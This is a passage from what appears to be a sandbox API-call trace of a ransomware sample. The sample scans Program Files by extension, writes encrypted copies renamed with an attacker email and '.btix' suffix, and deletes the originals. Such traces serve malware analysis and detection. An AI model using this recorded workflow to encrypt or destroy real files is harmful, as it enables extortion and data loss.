(lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0128.362] lstrlenW (lpString=".zip") returned 4 [0128.362] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0128.362] lstrlenW (lpString=".rar") returned 4 [0128.362] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0128.362] lstrlenW (lpString=".bz2") returned 4 [0128.362] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0128.362] lstrlenW (lpString=".7z") returned 3 [0128.362] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0128.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0128.362] lstrlenW (lpString=".dbf") returned 4 [0128.362] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0128.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0128.362] lstrlenW (lpString=".1cd") returned 4 [0128.362] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0128.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0128.363] lstrlenW (lpString=".jpg") returned 4 [0128.363] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0128.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0128.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0128.363] lstrlenW (lpString=".doc") returned 4 [0128.363] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0128.363] lstrlenW (lpString=".docx") returned 5 [0128.363] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0128.363] lstrlenW (lpString=".pdf") returned 4 [0128.363] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0128.363] lstrlenW (lpString=".xls") returned 4 [0128.363] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0128.363] lstrlenW (lpString=".xlsx") returned 5 [0128.363] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0128.363] lstrlenW (lpString=".ppt") returned 4 [0128.363] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0128.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0128.363] lstrlenW (lpString=".zip") returned 4 [0128.363] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0128.363] lstrlenW (lpString=".rar") returned 4 [0128.363] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0128.363] lstrlenW (lpString=".bz2") returned 4 [0128.363] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0128.363] lstrlenW (lpString=".7z") returned 3 [0128.363] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0128.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0128.363] lstrlenW (lpString=".dbf") returned 4 [0128.363] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0128.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0128.363] lstrlenW (lpString=".1cd") returned 4 [0128.363] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0128.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0128.363] lstrlenW (lpString=".jpg") returned 4 [0128.363] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0128.364] lstrcmpiW (lpString1=".dat", lpString2=".btix") returned 1 [0128.364] lstrlenW (lpString="hwrusash.dat") returned 12 [0128.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0128.364] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=3380096) returned 1 [0128.364] CloseHandle (hObject=0x384) returned 1 [0128.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0128.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.364] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0128.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0128.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0128.364] lstrlenW (lpString=".doc") returned 4 [0128.364] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0128.365] lstrlenW (lpString=".docx") returned 5 [0128.365] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0128.365] lstrlenW (lpString=".pdf") returned 4 [0128.365] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0128.365] lstrlenW (lpString=".xls") returned 4 [0128.365] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0128.365] lstrlenW (lpString=".xlsx") returned 5 [0128.365] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0128.365] lstrlenW (lpString=".ppt") returned 4 [0128.365] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0128.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0128.365] lstrlenW (lpString=".zip") returned 4 [0128.365] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0128.365] lstrlenW (lpString=".rar") returned 4 [0128.365] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0128.365] lstrlenW (lpString=".bz2") returned 4 [0128.365] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0128.365] lstrlenW (lpString=".7z") returned 3 [0128.365] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0128.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0128.365] lstrlenW (lpString=".dbf") returned 4 [0128.365] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0128.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0128.365] lstrlenW (lpString=".1cd") returned 4 [0128.365] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0128.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0128.365] lstrlenW (lpString=".jpg") returned 4 [0128.365] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0128.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0128.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0128.365] lstrlenW (lpString=".doc") returned 4 [0128.365] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0128.365] lstrlenW (lpString=".docx") returned 5 [0128.365] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0128.365] lstrlenW (lpString=".pdf") returned 4 [0128.366] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0128.366] lstrlenW (lpString=".xls") returned 4 [0128.366] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0128.366] lstrlenW (lpString=".xlsx") returned 5 [0128.366] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0128.366] lstrlenW (lpString=".ppt") returned 4 [0128.366] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0128.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0128.366] lstrlenW (lpString=".zip") returned 4 [0128.366] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0128.366] lstrlenW (lpString=".rar") returned 4 [0128.366] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0128.366] lstrlenW (lpString=".bz2") returned 4 [0128.366] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0128.366] lstrlenW (lpString=".7z") returned 3 [0128.366] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0128.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0128.366] lstrlenW (lpString=".dbf") returned 4 [0128.366] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0128.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0128.366] lstrlenW (lpString=".1cd") returned 4 [0128.366] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0128.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0128.366] lstrlenW (lpString=".jpg") returned 4 [0128.366] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0128.366] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0128.366] lstrlenW (lpString="ipsar.xml") returned 9 [0128.366] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0128.369] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=2418) returned 1 [0128.369] CloseHandle (hObject=0x384) returned 1 [0128.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml")) returned 0x20 [0128.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0128.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0128.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0128.369] lstrlenW (lpString=".doc") returned 4 [0128.369] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0128.369] lstrlenW (lpString=".docx") returned 5 [0128.369] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0128.369] lstrlenW (lpString=".pdf") returned 4 [0128.369] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0128.369] lstrlenW (lpString=".xls") returned 4 [0128.369] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0128.369] lstrlenW (lpString=".xlsx") returned 5 [0128.369] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0128.369] lstrlenW (lpString=".ppt") returned 4 [0128.369] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0128.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0128.370] lstrlenW (lpString=".zip") returned 4 [0128.370] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0128.370] lstrlenW (lpString=".rar") returned 4 [0128.370] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0128.370] lstrlenW (lpString=".bz2") returned 4 [0128.370] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0128.370] lstrlenW (lpString=".7z") returned 3 [0128.370] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0128.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0128.370] lstrlenW (lpString=".dbf") returned 4 [0128.370] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0128.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0128.370] lstrlenW (lpString=".1cd") returned 4 [0128.370] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0128.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0128.370] lstrlenW (lpString=".jpg") returned 4 [0128.370] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0128.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0128.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0128.370] lstrlenW (lpString=".doc") returned 4 [0128.370] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0128.370] lstrlenW (lpString=".docx") returned 5 [0128.370] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0128.370] lstrlenW (lpString=".pdf") returned 4 [0128.370] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0128.370] lstrlenW (lpString=".xls") returned 4 [0128.370] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0128.370] lstrlenW (lpString=".xlsx") returned 5 [0128.370] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0128.370] lstrlenW (lpString=".ppt") returned 4 [0128.370] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0128.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0128.370] lstrlenW (lpString=".zip") returned 4 [0128.370] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0128.371] lstrlenW (lpString=".rar") returned 4 [0128.371] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0128.371] lstrlenW (lpString=".bz2") returned 4 [0128.371] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0128.371] lstrlenW (lpString=".7z") returned 3 [0128.371] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0128.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0128.371] lstrlenW (lpString=".dbf") returned 4 [0128.371] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0128.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0128.371] lstrlenW (lpString=".1cd") returned 4 [0128.371] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0128.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0128.371] lstrlenW (lpString=".jpg") returned 4 [0128.371] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0128.371] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0128.371] lstrlenW (lpString="ipscat.xml") returned 10 [0128.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0128.371] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=2592) returned 1 [0128.371] CloseHandle (hObject=0x384) returned 1 [0128.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0128.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0128.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0128.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0128.372] lstrlenW (lpString=".doc") returned 4 [0128.372] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0128.372] lstrlenW (lpString=".docx") returned 5 [0128.372] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0128.372] lstrlenW (lpString=".pdf") returned 4 [0128.372] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0128.372] lstrlenW (lpString=".xls") returned 4 [0128.372] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0128.372] lstrlenW (lpString=".xlsx") returned 5 [0128.372] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0128.372] lstrlenW (lpString=".ppt") returned 4 [0128.372] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0128.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0128.372] lstrlenW (lpString=".zip") returned 4 [0128.372] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0128.372] lstrlenW (lpString=".rar") returned 4 [0128.372] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0128.372] lstrlenW (lpString=".bz2") returned 4 [0128.372] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0128.372] lstrlenW (lpString=".7z") returned 3 [0128.372] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0128.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0129.400] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.401] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0129.404] GetLastError () returned 0x0 [0129.404] ReadFile (in: hFile=0x3d0, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x1510, lpOverlapped=0x0) returned 1 [0129.421] WriteFile (in: hFile=0x374, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x1520, lpOverlapped=0x0) returned 1 [0129.422] ReadFile (in: hFile=0x3d0, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0129.423] WriteFile (in: hFile=0x374, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0129.423] SetEndOfFile (hFile=0x374) returned 1 [0129.423] CloseHandle (hObject=0x374) returned 1 [0129.423] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.423] SetEndOfFile (hFile=0x3d0) returned 1 [0129.426] CloseHandle (hObject=0x3d0) returned 1 [0129.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0129.426] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 1 [0129.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0129.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0129.427] lstrlenW (lpString=".doc") returned 4 [0129.427] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0129.427] lstrlenW (lpString=".docx") returned 5 [0129.427] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0129.427] lstrlenW (lpString=".pdf") returned 4 [0129.427] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0129.427] lstrlenW (lpString=".xls") returned 4 [0129.427] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0129.427] lstrlenW (lpString=".xlsx") returned 5 [0129.427] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0129.427] lstrlenW (lpString=".ppt") returned 4 [0129.427] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0129.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0129.427] lstrlenW (lpString=".zip") returned 4 [0129.427] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0129.427] lstrlenW (lpString=".rar") returned 4 [0129.427] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0129.427] lstrlenW (lpString=".bz2") returned 4 [0129.427] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0129.427] lstrlenW (lpString=".7z") returned 3 [0129.427] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0129.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0129.428] lstrlenW (lpString=".dbf") returned 4 [0129.428] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0129.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0129.428] lstrlenW (lpString=".1cd") returned 4 [0129.428] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0129.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0129.428] lstrlenW (lpString=".jpg") returned 4 [0129.428] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0129.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0129.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0129.428] lstrlenW (lpString=".doc") returned 4 [0129.428] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0129.428] lstrlenW (lpString=".docx") returned 5 [0129.428] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0129.428] lstrlenW (lpString=".pdf") returned 4 [0129.428] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0129.428] lstrlenW (lpString=".xls") returned 4 [0129.428] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0129.428] lstrlenW (lpString=".xlsx") returned 5 [0129.428] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0129.428] lstrlenW (lpString=".ppt") returned 4 [0129.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0129.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0129.428] lstrlenW (lpString=".zip") returned 4 [0129.428] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0129.428] lstrlenW (lpString=".rar") returned 4 [0129.428] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0129.428] lstrlenW (lpString=".bz2") returned 4 [0129.428] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0129.428] lstrlenW (lpString=".7z") returned 3 [0129.428] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0129.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0129.428] lstrlenW (lpString=".dbf") returned 4 [0129.428] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0129.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0129.429] lstrlenW (lpString=".1cd") returned 4 [0129.429] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0129.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0129.429] lstrlenW (lpString=".jpg") returned 4 [0129.429] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0129.429] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0129.429] lstrlenW (lpString="FD02158_.WMF") returned 12 [0129.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0129.429] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=1648) returned 1 [0129.429] CloseHandle (hObject=0x3d0) returned 1 [0129.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 0x220 [0129.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0129.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0129.430] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: 